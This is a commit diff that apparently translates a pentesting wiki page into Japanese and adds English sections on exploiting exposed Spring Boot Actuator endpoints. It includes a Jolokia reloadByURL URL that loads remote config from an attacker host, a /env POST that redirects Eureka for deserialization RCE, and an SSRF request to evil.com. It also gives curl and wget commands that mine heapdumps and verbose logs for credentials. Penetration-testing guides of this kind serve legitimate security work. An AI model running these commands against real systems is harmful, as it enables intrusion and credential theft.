Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a

This commit is contained in:
Translator 2025-09-03 16:57:59 +00:00
parent b210daf715
commit f5437f4130
2 changed files with 410 additions and 303 deletions

File diff suppressed because it is too large Load Diff

View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**出典** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Spring Boot Actuatorsの悪用
## Spring Boot Actuators の悪用
**元の投稿を確認してください** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**元の投稿を確認** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **重要なポイント:**
### **なポイント:**
- Spring Boot Actuatorsは、`/health``/trace``/beans``/env`などのエンドポイントを登録します。バージョン1から1.4ではこれらのエンドポイントは認証なしでアクセス可能です。バージョン1.5以降は、デフォルトで非機密なのは`/health``/info`のみですが、開発者はこのセキュリティを無効にすることがよくあります
- 特定のActuatorエンドポイントは、機密データを露出させたり、有害なアクションを許可したりする可能性があります
- `/dump``/trace``/logfile``/shutdown``/mappings``/env``/actuator/env``/restart`、および`/heapdump`
- Spring Boot 1.xでは、アクチュエーターはルートURLの下に登録されますが、2.xでは`/actuator/`ベースパスの下にあります
- Spring Boot Actuators`/health``/trace``/beans``/env` などのエンドポイントを登録す。バージョン 1 から 1.4 ではこれらのエンドポイントは認証なしでアクセス可能。1.5 以降ではデフォルトで非機密なのは `/health``/info` のみだが、開発者がこのセキュリティを無効にすることが多い
- 特定の Actuator エンドポイントは機密データを露出したり有害な操作を許容したりする可能性がある:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, および `/heapdump`
- Spring Boot 1.x では actuators はルート URL 配下に登録されるが、2.x では `/actuator/` ベースパス配下に配置される
### **悪用技術:**
### **悪用テクニック:**
1. **'/jolokia'を介したリモートコード実行**:
- `/jolokia`アクチュエーターエンドポイントは、MBeansへのHTTPアクセスを可能にするJolokiaライブラリを公開します
- `reloadByURL`アクションは、外部URLからログ設定を再読み込みするために悪用される可能性があり、盲目的なXXEや作成されたXML設定を介したリモートコード実行につながる可能性があります
- 例の悪用URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`
2. **'/env'を介した設定変更**:
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` actuator エンドポイントは Jolokia Library を公開しており、MBeans への HTTP アクセスを可能にする
- `reloadByURL` アクションは外部 URL からのロギング設定のリロードに悪用でき、巧妙に作られた XML 設定によって blind XXE や Remote Code Execution を引き起こす可能性がある
- 例のエクスプロイト URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Spring Cloud Librariesが存在する場合、`/env`エンドポイントは環境プロパティの変更を許可します。
- プロパティは、Eureka serviceURLにおけるXStreamデシリアライズ脆弱性などの脆弱性を悪用するために操作できます
- 例の悪用POSTリクエスト:
- Spring Cloud Libraries が存在する場合、`/env` エンドポイントは環境プロパティの変更を許可す
- プロパティを操作することで、Eureka の serviceURL における XStream のデシリアライズ脆弱性などを悪用できる
- 例の POST リクエスト:
```
POST /env HTTP/1.1
@ -40,25 +40,101 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **その他の有用な設定**:
- `spring.datasource.tomcat.validationQuery``spring.datasource.tomcat.url`、および`spring.datasource.tomcat.max-active`のようなプロパティは、SQLインジェクションやデータベース接続文字列の変更など、さまざまな悪用のために操作できます
3. **その他の有用な設定:**
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, `spring.datasource.tomcat.max-active` のようなプロパティは、SQL インジェクションやデータベース接続文字列の変更など、さまざまな悪用に利用され得る
### **追加情報:**
- デフォルトのアクチュエーターの包括的なリストは[こちら](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)で見つけることができます
- Spring Boot 2.x`/env`エンドポイントは、プロパティ変更のためにJSON形式を使用しますが、一般的な概念は同じです
- デフォルトの actuator の包括的なリストは [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) にある
- Spring Boot 2.x`/env` エンドポイントはプロパティ変更に JSON フォーマットを使用するが、概念は同じである
### **関連トピック:**
1. **Env + H2 RCE**:
- `/env`エンドポイントとH2データベースの組み合わせを悪用する詳細は[こちら](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)で見つけることができます
- `/env` エンドポイントと H2 データベースを組み合わせた悪用の詳細は [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) を参照
2. **不正なパス名解釈によるSpring BootのSSRF**:
- SpringフレームワークのHTTPパス名におけるマトリックスパラメータ`;`の処理は、サーバーサイドリクエストフォージェリSSRFを悪用するために利用できます
- 例の悪用リクエスト:
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring フレームワークの HTTP pathname における matrix parameters (`;`) の扱いの不備は Server-Side Request Forgery (SSRF) に悪用され得る
- 例のエクスプロイトリクエスト:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Deeper analysis with VisualVM and OQL:
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Automated extraction with JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Typical high-value findings:
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
Tips:
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
## Abusing Actuator loggers/logging to capture credentials
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
- Enumerate and crank up sensitive loggers:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Find where logs are written and harvest:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
Notes:
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}}